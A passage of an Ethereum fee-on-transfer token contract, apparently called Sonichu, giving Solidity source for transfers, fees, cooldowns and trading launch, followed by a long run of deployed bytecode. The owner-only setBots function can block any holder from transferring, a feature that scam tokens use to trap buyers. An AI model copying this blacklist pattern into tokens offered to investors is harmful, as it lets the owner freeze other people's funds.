require(!bots[from] && !bots[to]); } if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { if(cooldownEnabled){ require(cooldown[from] < block.timestamp - (360 seconds)); } swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610567578063c3c8cd801461062c578063c9567bf914610643578063d543dbeb1461065a578063dd62ed3e1461069557610114565b8063715018a61461040e5780638da5cb5b1461042557806395d89b4114610466578063a9059cbb146104f657610114565b8063273123b7116100dc578063273123b7146102d6578063313ce567146103275780635932ead1146103555780636fc3eaec1461039257806370a08231146103a957610114565b806306fdde0314610119578063095ea7b3146101a957806318160ddd1461021a57806323b872dd1461024557610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e61071a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b557600080fd5b50610202600480360360408110156101cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610757565b60405180821515815260200191505060405180910390f35b34801561022657600080fd5b5061022f610775565b6040518082815260200191505060405180910390f35b34801561025157600080fd5b506102be6004803603606081101561026857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610786565b60405180821515815260200191505060405180910390f35b3480156102e257600080fd5b50610325600480360360208110156102f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061085f565b005b34801561033357600080fd5b5061033c610982565b604051808260ff16815260200191505060405180910390f35b34801561036157600080fd5b506103906004803603602081101561037857600080fd5b8101908080351515906020019092919050505061098b565b005b34801561039e57600080fd5b506103a7610a70565b005b3480156103b557600080fd5b506103f8600480360360208110156103cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ae2565b6040518082815260200191505060405180910390f35b34801561041a57600080fd5b50610423610bcd565b005b34801561043157600080fd5b5061043a610d53565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047257600080fd5b5061047b610d7c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104bb5780820151818401526020810190506104a0565b50505050905090810190601f1680156104e85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050257600080fd5b5061054f6004803603604081101561051957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610db9565b60405180821515815260200191505060405180910390f35b34801561057357600080fd5b5061062a6004803603602081101561058a57600080fd5b81019080803590602001906401000000008111156105a757600080fd5b8201836020820111156105b957600080fd5b803590602001918460208302840111640100000000831117156105db57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610dd7565b005b34801561063857600080fd5b50610641610f27565b005b34801561064f57600080fd5b50610658610fa1565b005b34801561066657600080fd5b506106936004803603602081101561067d57600080fd5b810190808035906020019092919050505061160f565b005b3480156106a157600080fd5b50610704600480360360408110156106b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117be565b6040518082815260200191505060405180910390f35b60606040518060400160405280600781526020017f536f6e6963687500000000000000000000000000000000000000000000000000815250905090565b600061076b610764611845565b848461184d565b6001905092915050565b60006869ed328743a9480000905090565b6000610793848484611a44565b6108548461079f611845565b61084f85604051806060016040528060288152602001613d9660289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610805611845565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123089092919063ffffffff16565b61184d565b600190509392505050565b610867611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610927576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610993611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a53576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ab1611845565b73ffffffffffffffffffffffffffffffffffffffff1614610ad157600080fd5b6000479050610adf816123c8565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610b7d57600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610bc8565b610bc5600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124c3565b90505b919050565b610bd5611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c95576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f5349434855000000000000000000000000000000000000000000000000000000815250905090565b6000610dcd610dc6611845565b8484611a44565b6001905092915050565b610ddf611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b8151811015610f2357600160076000848481518110610ebd57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610ea2565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f68611845565b73ffffffffffffffffffffffffffffffffffffffff1614610f8857600080fd5b6000610f9330610ae2565b9050610f9e81612547565b50565b610fa9611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611069576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff16156110ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061117c30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166869ed328743a948000061184d565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156111c257600080fd5b505afa1580156111d6573d6000803e3d6000fd5b505050506040513d60208110156111ec57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561125f57600080fd5b505afa158015611273573d6000803e3d6000fd5b505050506040513d602081101561128957600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561130357600080fd5b505af1158015611317573d6000803e3d6000fd5b505050506040513d602081101561132d57600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113c730610ae2565b6000806113d2610d53565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561145757600080fd5b505af115801561146b573d6000803e3d6000fd5b50505050506040513d606081101561148257600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506001601360176101000a81548160ff0219169083151502179055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156115d057600080fd5b505af11580156115e4573d6000803e3d6000fd5b505050506040513d60208110156115fa57600080fd5b81019080805190602001909291905050505050565b611617611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000811161174d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b61177c606461176e836869ed328743a948000061283190919063ffffffff16565b6128b790919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118d3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613e0c6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611959576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613d536022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611aca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613de76025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613d066023913960400191505060405180910390fd5b60008111611ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613dbe6029913960400191505060405180910390fd5b611bb1610d53565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c1f5750611bef610d53565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561224557601360179054906101000a900460ff1615611e85573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611ca157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611cfb5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611d555750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e8457601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611d9b611845565b73ffffffffffffffffffffffffffffffffffffffff161480611e115750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611df9611845565b73ffffffffffffffffffffffffffffffffffffffff16145b611e83576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611f7557601454811115611ec757600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f6b5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611f7457600080fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120205750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120765750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561208e5750601360179054906101000a900460ff165b156121265742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106120de57600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061213130610ae2565b9050601360159054906101000a900460ff1615801561219e5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156121b65750601360169054906101000a900460ff165b1561224357601360179054906101000a900460ff1615612220576101684203600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061221f57600080fd5b5b61222981612547565b6000479050600081111561224157612240476123c8565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122ec5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156122f657600090505b61230284848484612901565b50505050565b60008383111582906123b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561237a57808201518184015260208101905061235f565b50505050905090810190601f1680156123a75780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6124186002846128b790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612443573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6124946002846128b790919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156124bf573d6000803e3d6000fd5b5050565b6000600a54821115612520576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613d29602a913960400191505060405180910390fd5b600061252a612b58565b905061253f81846128b790919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff8111801561257c57600080fd5b506040519080825280602002602001820160405280156125ab5781602001602082028036833780820191505090505b50905030816000815181106125bc57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561265e57600080fd5b505afa158015612672573d6000803e3d6000fd5b505050506040513d602081101561268857600080fd5b8101908080519060200190929190505050816001815181106126a657fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061270d30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461184d565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b838110156127d15780820151818401526020810190506127b6565b505050509050019650505050505050600060405180830381600087803b1580156127fa57600080fd5b505af115801561280e573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b60008083141561284457600090506128b1565b600082840290508284828161285557fe5b04146128ac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613d756021913960400191505060405180910390fd5b809150505b92915050565b60006128f983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612b83565b905092915050565b8061290f5761290e612c49565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156129b25750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156129c7576129c2848484612c8c565b612b44565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612a6a5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612a7f57612a7a848484612eec565b612b43565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612b215750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612b3657612b3184848461314c565b612b42565b612b41848484613441565b5b5b5b80612b5257612b5161360c565b5b50505050565b6000806000612b65613620565b91509150612b7c81836128b790919063ffffffff16565b9250505090565b60008083118290612c2f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612bf4578082015181840152602081019050612bd9565b50505050905090810190601f168015612c215780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612c3b57fe5b049050809150509392505050565b6000600c54148015612c5d57506000600d54145b15612c6757612c8a565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612c9e876138cd565b955095509550955095509550612cfc87600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461393590919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d9186600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461393590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e2685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461397f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e7281613a07565b612e7c8483613bac565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080612efe876138cd565b955095509550955095509550612f5c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461393590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ff183600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461397f90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061308685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461397f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506130d281613a07565b6130dc8483613bac565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b60008060008060008061315e876138cd565b9550955095509550955095506131bc87600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461393590919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061325186600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461393590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffff